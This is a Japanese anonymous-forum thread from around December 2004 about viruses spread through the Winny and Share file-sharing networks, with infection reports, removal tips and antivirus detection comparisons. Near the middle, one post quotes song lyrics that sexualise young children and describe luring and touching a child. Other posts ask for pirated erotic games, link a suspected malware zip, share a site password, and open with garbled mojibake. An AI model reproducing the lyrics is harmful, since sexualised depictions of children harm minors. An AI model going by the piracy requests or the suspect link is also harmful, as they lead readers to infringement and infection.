｜　　 ﾆﾄﾀﾏﾀｻ ｴﾙｿ�ﾓﾎｵ衂ﾏｷﾁｸ･[ｾ･･ﾀﾌﾆｮ]ｸｦ 　　　　 .|
｜　　 ﾅｬｸｯﾇﾏｽﾊｽﾃｿﾀ.　　　　　　　　　　　　　　　　　　　.｜
｜　　　　　　　　　　　　 　　　　　 　　　 　　　 　 　 　　　　　|
｜　　　　　　　　　　　　 　　　　　 　　　 　　　 　 　 　　　　　|
｜　　　　　　　　　　　　 　　　　　 　　　 　　　 　 　 　　　　　|
｜　　　　　　　　　　　　 　　　　　 　　　 　　　 　 　 　　　　　|
｜　　　　　　　　　　　　 　　　　　 　　　 　　　 　 　 　　　　　|
｜　　　　　　　　　　　　 　　　　　 　　　 　　　 　 　 　　　　　|
｜　　　　　　　　　　　 　　　　　　 　　　 　　　 　 　 　　　　　|
｜　 　WORM_ZAFID　　　　　　　　　　　　　　　　　　　　　.｜
｜　　┌───────┐　　　┌───────┐ 　|
｜　　｜　　 ｾ･･ﾀﾌﾆｮ 　　 |　　　 ｜　　　　ｴﾝｱ 　 　 .｜　 |
｜　　└───────┘　　　└───────┘　 |
｜　　　　　　　　　　　 　　　　　 　　　 　　　 　 　 　　　　　　|
└──────────────────────┘

ｻ･ｹﾙﾀﾌｷｯｽ [ｾ･･ﾀﾌﾆｮ]ｸｦ

この辺が暗号を解く鍵になる様な気がﾅｬｸｯﾇﾏｽﾊｽﾃｿﾀ.

フォルダアイコン偽装の新ウイルスでたんか？
それっぽいのさっき踏んだわ。

>>65
そいつが入ってたファイル名とハッシュｷﾎﾞﾝ。

>65
似たようなの踏んで、Dドライブ&マイドキュメント全消しされた
からくりサーカス34巻だった

ちなみにノートン常駐でiveupdateも自動でも引っかからんかった

>>65
新ウイルスと判断した理由を言え

ノートンに引っかからなかったから新ウイルスに違いない！
なんと言ってもこの僕が引っかかってしまうくらいだからきっと新手の強力ウイルスだ！！

>>70
|∀・）

>>70
君に超ワラタ

ごめん>>71にだったorx

ｎｙしようとしたらノードが消えてたんだがそんなウイルスいるのか?
シマンティックとＡＶＧともに検知せず

時々そういう症状をみるね。
たしか、ｎｙのノード記録したファイルが壊れただけとかじゃなかったっけ？
てか漏れもなったことあるし。

た、助かった。また、再インスコするのするのかと思った。
どうも、ありがとうございました

>>76
「また」って、アンタ・・・

デバイス更新したら調子悪くなって１週間前に再インスコしたんですよ

バックアップも取らんのか君は？

ファイルフォルダに偽装されたexeを踏んでしまって
作ってもいないうｐフォルダに眼鏡の男のjpgが出来たんですがこれってキンタマですか？

おちついてその画像を見つめなおしてください
モニタに自分の顔が映っただけのことです。

>>80
その画像は9152バイトか？
なら、ぬるぽだな。

　　　　。|　　
　|　　|。　|ﾟ　　y
　ﾟ|　　|　　|io i|　　　　　　バカが踏む
｡|　　ﾟi|　。i|,,ﾉ　 |i　　　　　　ぬるぼにキンタマ
i|ﾟ　||ﾟ　/ii 。 ﾟ|i_/ﾟ　　　　　　　　エトセトラ
　｀ヽoー|i;|y-ノ
　　　,;:i´i;ﾉ　 　　　　　　　　
　　('';ii;;'' 　　　　　　　　　　
ii\;;;ii'ノ 　　　　　　　　　　　
ノ　　　　 ∧＿∧　　　　　　　　o　　　　　　　　　　　　　　　　.../::;
　　　　　（　´∀｀） () 　　　　 /二ヽ　　　　　　　　　　　　.　.: :ii:|
　　　　　（つ[] 　つ┃ 　　　　 |□|　　　　　　　　　ｺﾝｯ　.　.:__i:i|
　　　 　　(、 ＾ヽ ＾ヽ 旦~ 　　｀)三(´　　　　　　　　　　ﾐ　　// ヾ.:
　⊂ニニニ（＿_）＿）ニニ⊃　.|　|＿　　　　　　　　　 __　//|ﾟ| ::丶
　　　||　　　　　　　　　||　　　　 ::/;.ヽ,` -　─ -　-=./;;::,..`'ゝ＼`丶
　　　　　　　　　　　　　　　　　　　へﾍ ─ - ─／;;/:::￣;;;;￣;;::|

でも、まだ解析もパターンも出てないニュイルスはあるよな。
コミック偽装のやつなんだが、問題はサイズがクソでかいので
提出するのマンドクセっつーか、メールで50Mも送れるのか？

>>80
SpywareBlasterだ！

>>80
10ポインツ！！

キンタマが完全に駆除できたかどうか調べある方法ってありますか？

>>87
・下を見る。（太ってる人は、鏡を使う）
・駆除した病院でカルテを見せてもらう。

素早いレスありがとうございます。
もうちょっと調べてみます

>>89
がんばれよ！
応援してるぞ。

８７さん、次からはモロッコに行って駆除なさい
それが一番確実です

モロッコってなに？

>91
今はフィリピンじゃないか?モロッコだと非合法になったと聞いた希ガス

ああ、どうやら無事駆除できてたようです。
またひとつ知識が増えたようです。
ありがとうございました。

>>94
よかった　よかった。
心配してたんだよ。
駆除に失敗するとそこから徐々に(ry

いやぁ、まさかこのスレからカルーセル麻紀が出るとは

アンチニーの記事読んでいて、ちょっと思ったんだが、AとGの作者は恐らく違うよな？
で、Gは明らかに悪意を持っている。
アンチニーシリーズは、Winny壊滅を目指したものであったわけだけど、
この悪意が逆のところに向く、つまり警察や著作権団体のところに向かなかったのはなぜだろう？
やろうと思えば、警察関係者、著作権団体関係者のみを狙って個人情報を引き出せたはずだ。

で、以下の可能性が浮上してくる。
１、ｎｙ使用者が厨揃い
２、思いつかなかった
３、Aの被害例によって不特定多数を狙ったほうが面白いとわかった
４、警察、著作権団体側が流した

このうち可能性が高いのは３だ。でも、２を思いつかなかった奴がいないなんて思えない。
となると、４も捨てきれない。事実、警察で引っかかったのはたった一人だ。

これ以上書くの疲れる。
以降は未来に行ったドラえもんがのびたと一緒に未来大魔神を倒す話だから誰か書いて

逆引きしてpoliceにマッチしたら発動するっていうじゃない？
でもあなた、発動確率が低すぎるウイルス、ワームは拡散しませんから。残念。

安易に陰謀だの何だの憶測にもなってない様な妄想に走ってはいかんよ

そもそもantinnyがny崩壊の為に作られたつうのは初耳だな、まぁ意図は制作者にしか分からないが

>>99
ってか、名前そのままじゃん。

>>100
作者が名前つけたんじゃないって

　

ハゲだいじょうぶだったかハゲ

美醜とかいうｴﾛｹﾞだったかな、二重拡張子な上に案の定ウイルス同梱だった。
上司に「落としといて」と言われたブツだが、なんとなくムカついたんでそのまま
渡しといた。

ｷﾝﾀﾏだったら簡便な

おまいの会社って・・・

>>104
未必の故意だな。

>>4　のWinnyFileDatabaseのサイトが見つからないんですが。

4じゃなくて、>>7でした。

>>107
>>1の最初の文章読めますか？

>>107
それは　あなたの　心の中に　あります

>>107
はるか昔に消滅した

.folderのファイルがフォルダのアイコンになってなかったら
クリックしても問題ないですか？
間違ってクリックしたのですが
このファイルを開けません
このファイルを開くには〜とかが出ました

((((；ﾟДﾟ)))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ

>>112
もう大丈夫だね

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

>>115
GCAかDGCAで作られた形式の圧縮ファイルとかか？
ところでそのハッシュってWinny？Share？

>>116
shareです
サイズは100Mありません

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

>>118
怪しいexeを自ら進んで踏んだんだから
HDDをあぼーんする気構えはあったんだろ？
それなら気にせずクリーンインストールだ
はっきり言えば>>1詠め

>>119
どうもすいませんでした。
クリーンインストールの必要性の是非ではなく障害がどのようなものかを知りたかったんです。

>>120
http://www.microsoft.com/japan/technet/archive/community/columns/security/essays/10imlaws.mspx
> 鉄則 1: 悪意のある攻撃者の誘惑に乗って、
> 攻撃者のプログラムをあなたのコンピュータで実行した場合、
> もはやそれはあなたのコンピュータではない

>>117
スレタイ嫁

>>120
むしろこっちが知りたいよ

>>114
何が大丈夫なのか教えていただけませんか？
気になって仕方ないです・・・

>>114
何が大丈夫なのか教えていただけませんか？
気になって仕方ないです・・・

>>114
何が大丈夫なのか教えていただけませんか？
気になって仕方ないです・・・

もう手遅れでどうにもならないから、あたふたしなくても大丈夫
ってことでないかと。

もう手遅れでどうにもならないから、あたふたしなくても大丈夫
さっさと再インスコしろってことでないかと。

連投してしまいました。すいません。
ウイルススキャンしてみましたがCドライブからは何も出ませんでした。
レジストリエディタも普通に起動されますし、Win.iniもsystem.iniにも異常なしで、
変なテキストも表示されませんでした。ただ、別のドライブのSystem Volume Informationの
_restoreフォルダの下層から検出されました。どうやらAntinny.Dのようです・・・。
これってすでに感染してるんでしょうか？

>>129 System Volume Informationでググレと、これテンプレものじゃないか？

貼っておく
ttp://canon-sol.jp/supp/nd/wndt8001.html

>>130
あ、System Volume Informationから検出されたファイルは削除しました

すいません、winnyでスクールランブルの同人誌をダウンロードしてファイルを解凍したのですが、
中にexeファイルとtxtファイルが含まれていて、気味が悪いので削除しようとしたらしたら
txtファイルは削除出来たのですが、exeファイルが「ディスクがいっぱいか・・・」のエラーメッセージが出て
削除する事が出来ません。
この場合、もう何らかのウィルスに感染してるのでしょうか？
このexeファイルを削除するにはどうしたらいいのでしょうか？
誰か分かる方、お願いします。

>>132
>>1を最初から良く嫁

>>132

ｵﾏｲは、もう死んでいる！

>>132　普通にDeleteボタンで消えると思ったが。

俺は他にもPE_PARITE.Aてのが入ってるのを見つけた。
これはｶﾞｲｼｭﾂかな？

ttp://www.trendmicro.co.jp/vinfo/virusencyclo/
default5.asp?VName=PE_PARITE.A&VSect=T

「C:\Program Files\mellpo」というフォルダが自動的に作成されて、
中にはアドレス帳やらメールボックスやらメイドキュメントの中身やらが共有されていますた。

「mellpo」でググっても情報が見つからないから比較的新種なのかな。
詳細情報をキボンヌ。

mellpoはshare発という感じがあるんだが………正体はまだバレてないはず

>>136
うわ・・・俺もだ
shareで昨日やられたっぽい・・・
とりあえずフォルダ削除して
対策分かるまでshareやらnyやら起動しないようにするわ

レジストリとかも弄らないといけないのかな・・・

>>136-138
身に憶えは無いの？

>>138
昨日落とし終わったファイルを羅列しる。

>>139-140
速攻削除して分からん・・・
何かエロマンガだった思う
フォルダアイコン偽装にまんまと引っかかったよ・・・

展開したフォルダに「（ ´∀｀）.mpg」というファイルがあった
踏んだ瞬間にHDDがガリガリいってたから、今考えるとドライブ中のdocやらを検索してたんだと思う
あと何故かfolder.iniを見てみたら、C:\Program Files\Adobe\Photoshop Elements\のフォルダーが
upフォルダーに設定されてた
このフォトショは最初からプリインストールされてたやつだけど

上藤政樹の、

妹防衛隊Gテスター
美少女戦士ウォーズ
第2次美少女戦士ウォーズ
光の事件簿
スペースコップ みき 星感帯捜査記
精霊特捜フェアリィセイバー天狗団の陰謀
姫忍・舞影−淫法帖恥辱伝−

キボンヌ。

幼魔特捜クレアセイバー、っは、流れているみたいだが、なかなか、みないな。

苺キンタマの作者頑張ってるねー
まだウィルス作ってたんだ。

未だにアイコン偽装に引っかかる香具師居るんだね・・・

>>142
うざいと思っていたが上藤政樹をｷﾎﾞﾝﾇとは、なかなか良いﾔﾂかもしれん・・・

だが、ｽﾚ違いだ

>ID:5N/OdnHz
ｼﾞﾝﾁｭｳ乙

基本的な質問ですが。
キンタマ的ウイルスによってupされるファイルは、
winnyのシステム情報の「アップファイル個数」にカウントされるのでしょうか？

>>147
>>1

あぷろだウイルスの負荷軽減版誰か作ってくれんかなぁ……
あれはみんなで楽しめる（･∀･）ｲｲ!!ニュイルスだったんだが


ところでおまいら
にゅいるす　と打って変換したら　nyウイルス　になった奴、俺以外に居るか？

ﾆｭ居留守
になった

キャンタマちゃん

乳井留守

なんか、PC立ち上げるたびにﾉｰﾄﾝにうｐﾃﾞｰﾄ汁！って言われるんだけど、
更新しても最新版ですが何かって言われる・・・

悪夢の強制カウントダウンさえ無ければ火壁を解除できるのに
誰だよあんなの作ったの！

エクスプローラのCPU使用率が99%で重くて仕方ないんだが
やられちまったのか・・

>>155
壊れたファイルでも開いただけじゃねーの？

何度か再起動しても同じ現象になるね
ちと原因探ってみる

強制カウントダウンって何の事？

shatdown -aで解除できるやつ？

>153
ノートンスレチェキするよろし。時々有る症状な気がする

期限切れじゃねえの？

関口　慎一

ttp://internet.watch.impress.co.jp/cda/news/2004/12/22/5918.html
nyを狙ったワーム・ウイルスの類だと思われるので、情報提供

今までも、裏では結構行なわれてきたが、表立ってやるとは厨よのう…
でもまぁ、こういう団体ががんばってくれると、例の裁判みたいに
キャッシュに残ってたファイル名だけで、犯罪だと立証するのが難しく
なるわけだな『ダミーファイルを落としてました＆放流してました』
って言えばいいわけだ。ふーん。

つか、そもそも被参照量に差が出るだろ

http://news13.2ch.net/test/read.cgi/news/1103712137/

被参照量は偽装できる。

（；´Д｀）ﾏｼﾞﾃﾞﾂｶ?

「P2Pを使用しているな、自宅へいくぞ」 JASRAC、確認電話に注意呼びかけ


日本音楽著作権協会は、「P2Pを使用しているな、自宅へいくぞ」という
内容の電話が一般のユーザーへかけられていることを明らかにした。
協会では、詐欺事件に繋がりかねないとして注意を呼びかけている
http://www.itmedia.co.jp/lifestyle/articles/0412/22/news053.html


Winnyを狙ったというかP2Pを使ってる人を狙った新手の詐欺か・・・
流行りそう？

>>167
個人事業主でドメイン取得とか、そう言う個人を特定出来ちゃう IPでやるな。ってこった。

なぜか突然繋がらなくなってNoderef見たら空白になってた
とりあえず最新のを保存しなおして起動したらしばらくしてまた部分的に消えてた

これはなんだ？
バージョンは1.14

>>169
ぶっちゃけ仕様

>>169
ｸﾗｯｸの時限式のせいだよ

ダウンロードした不明なexeを実行してしまいました。
その時は何も起こらなかったのですが、Winnyのシステム情報に
アップファイル個数　1　となっていたので、おかしいなと思い
AntiVirus で調べたところ、Winny2\Up のフォルダと、その
中身が自動生成されたようで、ウィルスに感染してしまいました。
問題のWinny\Upフォルダや、UpFolder.txt 等は見えません。
Up フォルダや中身はウィルス検索時のみ見ることができます。
ProgramFiles を*.exe で検索してもAntinny.exe も出てきません。
関連情報ありましたらお助けくださいぃ。

おとなしくOS再ｲﾝｽﾄしとけ

テンプレが嫁ない香具師がいて困るな。

>>172
Explorerの設定もまともに出来ないやつはWinnyやるなよ……。マジで。

まとめサイトにありました。スンマソ

キンタマか

＞ProgramFiles を*.exe で検索してもAntinny.exe も出てきません。

どうでも良いが、わざわざ其処にそのままの名前でexe作ってくれる制作者は正直どうかと思う

そこで「EXE ファイル 捨てたい」ですよ

ぼくはﾛﾘｺｰﾝ

わたしはｼﾘｺｰﾝ

ｶｲｿﾞｳﾆﾝｹﾞﾝ(･A･)ｲｸﾅｲ

「僕はロリコン」(歌・KAWAI　曲・宮川賢）


ぼくが好きなのは子供　ママは駄目よとすがるけど
ボインの君ではunsatisfied
いたいけな子供が好き
毛も生えそろわない　淡い匂いがする
ろ・り・い・た　ぼくはロリコン
ろ・り・い・た　ぼくはアブナいお兄さん

塾まで迎えに行くよ　砂場で遊ぼよぼくと
暑けりゃ服を脱ぎなよ　ぼくは見るだけで満足
ほら触れてご覧よ　ピクピク動いてる
ろ・り・い・た　ぼくはロリコン
ろ・り・い・た　禁断の果実

パパママごめんなさい
許して悪い子だよね
だけど子供が好き
ろ・り・い・た　ぼくはアブノーマル
ろ・り・い・た　ぼくは変質者かもね
ろ・り・い・た　ぼくはロリコン
ろ・り・い・た　禁断の果実
http://douch.net/cgi-bin1/src/up0280.swf

>182
ページが見つかりません

俺「いたいけな子供が好き」の部分のﾓﾉﾏﾈ上手いよ。

スレ違いだが（ ﾟдﾟ）ﾎﾟｶｰﾝだったので

104 名無しさんの次レスにご期待下さい sage 04/12/24 00:17:53 ID:wXId0gGB
http://up.satoweb.net/img10/3738.zip
前スレのこれってマジでウイルス？
ふんじまったよ･･･orz


105 名無しさんの次レスにご期待下さい 04/12/24 00:19:09 ID:CYAQG0ed
文字バレさんくす！これで年越せます！


106 名無しさんの次レスにご期待下さい sage 04/12/24 00:23:17 ID:N5ybAyNN
>>104
で、踏んでからどうした？
開いて解凍したのか？

107 名無しさんの次レスにご期待下さい sage New! 04/12/24 00:24:43 ID:SLX4MUd2
>>106
開いてから解凍？
知ったかで説明しようとするとはさすが厨房さんですね

デスクトップ上に血痕のような模様がぽつぽつ出て画面上が赤一色に。
(よく見ると赤の中に【ぬるぽ】と彫ってある)
『キャー』という女性の悲鳴があがる。

・・・という症状が出たんですがこれはぬるぽウイルスの亜種でしょうか？
ぬるぽと同じ症状も出ていて、UPフォルダも作成されていましたが、それ以外にも
どうもSYSTEMファイルのDLLをぶっ壊していくみたいで、
PC立ち上げる事もできなくなってしましました。

>>186


　死　　ね

ネタでないとしたら、未だに感染するヤツがいるのか…と素直に感動すら覚えるね
>>186
視線をさげて、自らの股間を凝視することをオススメする。付いてなければ対処不能だな。

>>186
散々、既出なのでﾃﾝﾌﾟﾚ読めばいいよ

SYSTEMファイルのDLLをぶっ壊していく？そんな症状あったかな…？

>>190
あったんじゃない？　「血しぶき」＝「致死武器」

>>190
血しぶきぬるぽは、ＰＣ起動もままならなかったはず
>>191の表現も記憶あるし、、、

ま、何はともあれメリークリスマスってことだろ

今夜から明日にかけて、喪男が全身全霊を込めて作成したぬるぽ
亜種が猛威を振るうような気がする。(´･ω･`)

ちしぶきぬるぽ俺知らなかった。>>186見て、イカすデスクトップとして
使えないかなと思っていたがPC起動もできなくなるの？

>>195
お前が>>186じゃんm9(＾Д＾)ﾌﾟｷﾞｬｰ

聖なる夜に羞恥プレイとは、なかなかやるな。
叩かれた上にさらに恥の上塗りをする>>195に乾杯。(´･ω･`)つ

>>195
（＾＾；（＾＾；（＾＾；（＾＾；（＾＾；（＾＾；

ID表示板で、ID変えずに自演失敗した恥ずかしい>>195がいるスレはココですか？

記念カキコ

まあまあ、クリスマスだ。

主は仰った「バレバレの自演でﾌﾟｷﾞｬｰ となる者は幸である」と

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

スレ違い。
スルーされるか叩かれるか、どっちがいい？

>>201
大体、900MきっかりをDL・再生しようという気がわからん

あ、900Mきっかりとかのファイルは駄目なんすか。で、どーいった物なんでしょうか？
スレ違いですか

>>204
>>1の１行目読めますか？

900Mきっかりの映像ファイルって怪しすぎｗ
そんなサイズ合わせるなんて普通できねぇよ(やり方あるかもしれんが

俺が初めて知ったウイルスの発動日だな・・

おまいら、素敵なクリスマスプレゼントですよ。

【Winny】 ウィニー使用、違法コピー「ない」＝捜査情報流出、巡査を訓戒−京都府警さん
ttp://news19.2ch.net/test/read.cgi/newsplus/1103898260/l50

>>208
もう頂いたｗ

http://headlines.yahoo.co.jp/hl?a=20041224-00000046-kyt-l26
こちらもどうぞ

写真を加工するソフトねぇ…

photoshop !!、photoshop !!

んー、データ削除しても復元させるソフトってあったよなあ。
それやらんかったんかいな。甘くないか？
だんだんムカついてきたな。

そういうソフトでも復元できないように消去するソフトもあるだろ

データ復元は一発デフラグするだけでかなり復元確率落ちる

antinny系ウイルス検出数チェックしてみた
nyやここ等で入手したウイルスかもしれないもの57個

ウイルスバスター(o)　87.7%
Norton(o)　　　　　　　84.2%
F-Secure(o)　　　　　84.2%
NOD32　　　　　　　　84.2%
Avast　　　　　　　　　82.5%
MCAfee(o)　　　　　　80.7%
AVG　　　　　　　　　　68.4%
ウイルスチェイサー(o)　　68.4%
V3ウイルスブロック(Ahnlab.com)(o)　　59.6%
AntiVir　　　　　　　　59.6%
PandaActiveScan(o)　54.4%
BitDefender(o)　　　　43.9%
etrast(o)　　　　　　　　43.9%
ウイルスセキュリティ　　36.8%
ウイルスプロテクターV4(haurijapan)(o)　33.3%

(o)…online scan
未知ウイルス検出がonだったりoffだったりするかも

げ、俺の36％

ウイルスバスターが一番か・・・

俺、AVGユーザーだけど、antinny系で検出出来なかったことないぞ
ホントにテストしたのか？

バスターの宣伝、ご苦労さん＞社員

>>215
乙
>>219
妄想乙

ウイルスバスターオンラインスキャンの俺は比較的安全だな。まあ常駐ソフトはウイルスセキュリティというｒｙ

ノートン重くてバスター2005に乗り換えた俺は勝ち（ｒ

フリーで検出率が高いのはAvastか‥‥。
ちょっと試してみよう。

ネット自体に繋げなくなるウイルスなんてないですよね？

繋がりにくくなるのはあるな

みんな年賀状作ってるね。
住所録とか流れてるよ・・・

Avast試してみたけれど、重いわメモリ食いだわで使うのやめた。

Win9xだろ

マクロウィルスに注意。
office updateを定期的にしましょう。

あれ？exe偽造とかじゃなくてaviから感染するｳｨﾙｽあるの？

>>230
たぶん各兆市が違うとかいう落ちでは？

sage忘れスマン

>230
aviの破損ファイルかダウソの途中で強制変換したファイルを再生しようとしとして
固まるのをウィルスと勘違いした池沼だろうよ。

あー感染した。それもキャッシュ消す奴。
うえｗｗｗｗｗｗｗ

Winnyを勝手にインストールするウイルス
ハッシュを勝手に登録するウイルス
OS起動時にpassを入れないとWinny関連を全部削除してしまうウイルス
定期的にpassを入れないと同上

こんなウイルスが出回ったら京都腐警も大困りですね。

その前に俺らが困るわ

もちろんpassは設定可能な


……batで書けそうなくらい簡単だな

>218
おれはnyマシンはバスター、他のマシンにAVGだが
(DL完了時にバスターでチェック。他マシンから開くときにAVGでチェックが入る環境)
キンタマ系新種対応は明らかにAVGが早かった
その後のアップデートで対応する亜種が増えたのかも知れん

つーか、一位のバスターでさえ、antinny系で87.7%は低すぎだろ
ほんとにテストしたのか信用できないな
ほんとなら検体まとめてUPしてくれ。ここの皆でチェックしてやるよ

【使用OS】WinXP Home SP1
【WindowsUpdateしてるか】していますが、SP2はまだ導入していません。
【AntiVirusは】ノートン2003です。
【ちゃんとUpdateしてるか】ライセンスが切れており、かなり前からしていません。
【Winnyのﾊﾞｰｼﾞｮﾝ】ny2β7.1です。
【Winny歴、総DL量は】一年ほど前から使っています。
【テンプレを読んだか】読みました。
【テンプレにある対策を実行したか】アイコンは変更していて、whiter対策にフォルダも作っていました。
【症状か具体的に、分かる限りすべて書く】
実行した瞬間、何かが動き出したような気がしたので焦って電源を切りました。
【何をしたらそんなことになったのか】
成年コミックの中に入っていたtxt.exeを間違えて実行してしまいました
【これまでにとった措置】
【スキャンした結果】
【オンラインスキャンしたならその結果は】
電源を切ったままです。whiterの中には再起動時に実行されるものがあるとどこかで聞いたので怖くて起動できません。
この書き込みは家の中の別のパソコンから行っていますが、念の為、感染したと思われる自機のLANケーブルは抜いてあります。
感染しているかどうかを確認するためには起動させなきゃならない…とは思っているのですが、どのように起動するのが安全でしょうか？

>>239
先月のPCJでもヤテタ。
バスターは亜種判定がぬるくなった(かつての誤検出の反省？)希ガス。

>>240
パターンアップしないアンチウイルスソフトは常駐するだけムダ(暴言)
「別のパソコン」にそのHDD繋いでチェック汁

＞【ちゃんとUpdateしてるか】ライセンスが切れており、かなり前からしていません

自業自得だな。俺のお勧めは“KNOPPIX”っていうCDから起動できるLinuxを使う方法
FTPサイトから落とせるし、Linux系の雑誌の付録にもついてる
外付けHDDやCD-ROMでデーターを退避させてから、綺麗さっぱりフォーマットして
システム再構築。どーせ冬休みで暇なんでしょ。のーんびりがんばって。

>241
今回の事でやっとそれが自覚できました。
次からは購入するかAVGを導入します。
>242
自分、P2Pでウィルスに感染する時点でもう自業自得です。
Linuxから再構築という手もあるのですね。何かあったときに役立ちそうです。
ありがとうございます。

さっきはパニックになってしまい、ウィルスのファイルサイズなども確かめずに強制終了していました。
今セーフモードで再起動させてみたところ
・ファイルが消えた様子もなく、すんなりとWindowsが起動する
・ウイルスのサイズが1.26Mbである
・その他>9に挙げられた要素に共通するものが見られる
ということなので>9のAntinny.msのようです。
しかし、UpFolder.txtは書き換えられていませんでした。これはその動作を実行する前に電源を切ったからでしょうか？
とにかく、子、親を消去し、HOSTSを書き換えて念のためオンラインスキャンをしてみます。
どうもありがとうございました

追記です。
>9ではsystemと書かれていますが、親、子が確認されたのはsystem32でした。

winnyの仕様上、フォルダ情報にウイルス(キンタマ系)によって作られた不正なフォルダがない限り新種が出ても安全と言える？

>>245
当然ながら「言い切れない」
新種の仕様なんか分からないからな

【使用OS】 XPsp2
【WindowsUpdateしてるか】 ○
【AntiVirusは】 アンチバー6
【ちゃんとUpdateしてるか】 ○　アップデートしたところウイルス反応でた
【スキャンした結果】 　削除した
【オンラインスキャンしたならその結果は】 検出ファイル削除　その後もう一度ＯＫ
【Winnyのﾊﾞｰｼﾞｮﾝ】 　7.1
【テンプレを読んだか】 　読んだ
【テンプレにある対策を実行したか】
【症状か具体的に、分かる限りすべて書く】

　念のためノートンのお試し版いれたところ
　ウイルス警告が出て　（W32.HLLW.Antinny）
　ファイルは自動的に削除されました。　の表示が
　ＯＫを押しても押しても出てくる。
　レジストリのrunのとこにはara-keyは無かった

　ＨＤＤアクセスしっぱなし。

【何をしたらそんなことになったのか】 　アンチバーでＯｋだったので不覚にも
実行してたらしい。アンチバーアップデート後に検出された
【これまでにとった措置】
もう一度オンラインスキャンとノートンでスキャンしかし激重　現在もスキャン中

アンチバーってなんだ？　AntiVirのことか？
ここの対策を手順通りやってから、もう一度来たまい。
ttp://www.symantec.co.jp/region/jp/sarcj/data/w/w32.hllw.antinny.html

昨日やたら動作が重くなったので、
身に覚えはないがウィルスにでも感染したかと思って確認してみたら、
WMPのリソースが解放されていなかった。
一昨日はMixerのリソースが解放されていなかった。
家電じゃありえないようなこういうこと、
いったい何十年後になったら無くなるんだろうか。

家電って関係あるんだろうか･･･

>>248
レスサンクスです。　アンチバー　そうですAntiVirです。

そこ読みました。レジストリのrunのところに
"ara-key" = "<ランダムにコピーされたファイル>"　というのはありません。

あやしいのが
（既定）　　（値の設定なし）　　というのがあります。

あいかわらずファイルは自動的に削除されました。のウインドでっぱなし
ＯＫ押しても出てくる・・・・・。

無いな。

計算ミスがあったので修正
・ウイルスが2個だけ調べたのに計算結果に加えられてなかった
誤57　正59
その結果%も少し変化あり（±1%くらい）。順位はたいして変わらんが…。
・nodは1つ多めに計算してた。
以上

おまけ
計算ミスを修正してまとめたもの
ranobe.com 16958 pass:小林

ｎｙ起動時にUDPで何かするウイルス？に感染した1週間ぐらい前
UDPでアップもダウンもフィルターかけたけどこれは何？

発信元アプリ名は？
UDPポート番号は？
遮断後のログ情報は？
オンラインスキャン結果は？
テンプレ熟読後の対処結果は？

スキャン結果なし　先生12月23日定義
発信ｗｉｎｎｙ？起動やめたらすぐ切断するから
起動中はずっとどこかに接続しようとする。
ポートは137や1036付近
ひょっとしたらｎｙきどうしているＩＰに送信してるかも。
対策はＵＤＰを使用不能にしているのでなんともわからない。
実害は感じない。

>>256
> ポートは137や1036付近
トロイ踏んだヤツがnyノードにいて、そいつが叩くのがUDP 1036
137はNetBIOSの名前解決用
外部からなら平気だが、内部からのパケットを引っ掛けたのなら要注意

サンクス。
最初は外部からのパケットが掛かったけど
しばらくしたら内部からのパケットが出始めた。
OS再インスコしてみる。
その前に調べたほうがいいことあるかな？
UDPってストリーム配信ぐらいでｎｙには無関係かと思ってたけど。
それにしてもｎｙやるとウイルスとかネットワークとか勉強になる。
雑魚の俺でも一般人よりはわかるようになってきたよ。

てゆーかあれだな、痛い目みると
セキュ意識が高まるよな

ＵＤＰ・・・・・・・・また変なのが出てきたか・・・・・。　　　orz
tcpしかない漏れには関係ないっぽいが、気をつけよう。
ところで、それは葱で見たのかな？
まあ、とにかく何落としててそうなったかわかんないからそっから佐賀さんと名。
まあ、そういうふうになったとき付近に落としたファイルのハッシュ器盆ぬ！

ケロロ軍曹の付録ドラマＣＤのＺｉｐ・・・。
ウイルスのしか流れてないのか・・。

苺キンタマ感染ｷﾀ━━━━━━（ﾟ∀ﾟ）━━━━━━!!!!!

>>260
TCPしかないのに、よく通信できてるな(w。もうちょっと精進してくれ
トロイとかがバックドア仕掛けるのは、たいていUDPだぞ
ポートスキャンすると、TCP側閉じていても、UDP全開放なんてノードも多いし
ちなみに、137(UDP)は Bugbear, Msinit, Opaserv, Qazなどで、1036(UDP)はKWM あたりが使ってる
特にnyで伝播するものでもないし、何にはいってくるか分からん

winny用のマシンを自作するスレ11
http://pc5.2ch.net/test/read.cgi/jisaku/1104193658/

>>263
最近のルーターは初期設定で大半のポートをステルスにしてる
っぽいからいいね。ヤフーが配ってるやつは、サポートうざい
からポート全開放っていう噂があるけれど本当かいな？

>>263
そうなのか・・・・。（カキカキ）
tcpだけだけど、普通にudp使われてたりして・・・・・・。 orz
何かいい監視ソフトない？
さがしてはいるが、どれがいいのかよくわかんない・・・・。

みんなすげーなー。
俺なんか、ウイルス感染して（強制再起動やアイコン消えまくり）
一応駆除はしたけど、未だに直せないでいるよ。
もうググりまくって、ログ読み漁ってるのにワケワカメ〜。

なんか、さっき変なもん間違ってＤＬしちまった…
アニメの名前が大量に書いてあるファイル、すぐに削除したけど、大丈夫だよな？

あーあ。ご愁傷様ｗ

>268
おまえはゲロ吐いてるおっさんを見たら、貰いゲロするタイプなんだな

えっと、やばいの？

（・∀・）ｺﾝﾆﾁﾊ!　＆　（=人=）ﾅﾑﾅﾑ

もうだめぽ…素人がこんなのに手をですもんじゃないね
ＯＳ入れ替えてくる

Ny専用マシン導入しろよ

素人だけど大変なことになったことないな・・・

知らぬは本人ばかりなりだな。

ｷﾞｬﾗｸｼ
感染者リストなんぞいう物が落っこちよった.

Alpha-ROM解除ツールとかいうの実行したらDドライブ飛んだ。
何かガリガリいってる→裏でcmd.exeが走ってる→止める　でなんとかなったっぽいけど。

今からRun周りをチェックしてくる。

csrssとvsmon.exeがばりばり動いてますが、他はnyぐらいか・・・・・。
>>275
ないとはいうものの、隠れてなんか動いてて、いきなりぞろ目になったら、
コニチハ！
ってな感じになったらﾌﾟｹﾗなのにな〜。
フフフフフ

YAHOOはねえ、
ポートが開放しまくりのルータだから
導入はすごく楽なのよ。
だけど弾かれるし、セキュ甘いし
初心者を抜け出したところだから
ISP変えるよ、俺。
で、今のお勧めはどこよ？
スレチガイだけど

>>280

Yahoo! BB 光かな

既出かもしれんが
トレンドマイクロのウイルスTOP５でANTINNY,Aが一位な件について



いまさらあんなウイルスが流行ってﾝのかよｗ
冬厨が原因か？ｗ

>>282　がんがん来てるよ

